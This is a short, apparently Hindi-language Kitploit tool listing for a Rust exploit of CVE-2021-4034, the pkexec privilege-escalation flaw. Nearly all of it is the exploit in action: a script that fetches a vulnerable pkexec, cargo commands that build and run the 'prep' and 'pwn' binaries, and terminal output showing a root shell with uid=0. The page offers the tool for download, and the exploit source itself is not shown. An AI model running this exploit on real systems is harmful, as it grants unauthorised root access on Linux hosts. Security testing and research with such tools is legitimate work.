cve-2021-4034 — Rust में CVE-2021-4034 pkexec विशेषाधिकार वृद्धि शोषण का कार्यान्वयन, परीक्षण के लिए एक कमजोर pkexec को डाउनलोड और अनपैक करने के स्क्रिप्ट के साथ। | Kitploit

CVE-2021-4034 शोषण लेकिन रस्ट में, क्यों नहीं?

https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c पर आधारित

$ ./download-and-unpack-vulnerable-pkexec.sh
*वैकल्पिक रूप से परीक्षण के लिए setuid/setgid सक्षम करें*
$ cargo run --bin prep && cd playground && cargo run --bin pwn
    Finished dev [unoptimized + debuginfo] target(s) in 0.00s
     Running `target/debug/prep`
    Finished dev [unoptimized + debuginfo] target(s) in 0.00s
     Running `/home/defhacks/hack/cve-2021-4034/target/debug/pwn`
gconv() called
sh-5.1# /bin/id
uid=0(root) gid=1000(defhacks) groups=1000(defhacks)
sh-5.1#

टूल डाउनलोड करें

cve-2021-4034

सबसे लोकप्रिय

CVE-2021-4034 शोषण लेकिन रस्ट में, क्यों नहीं?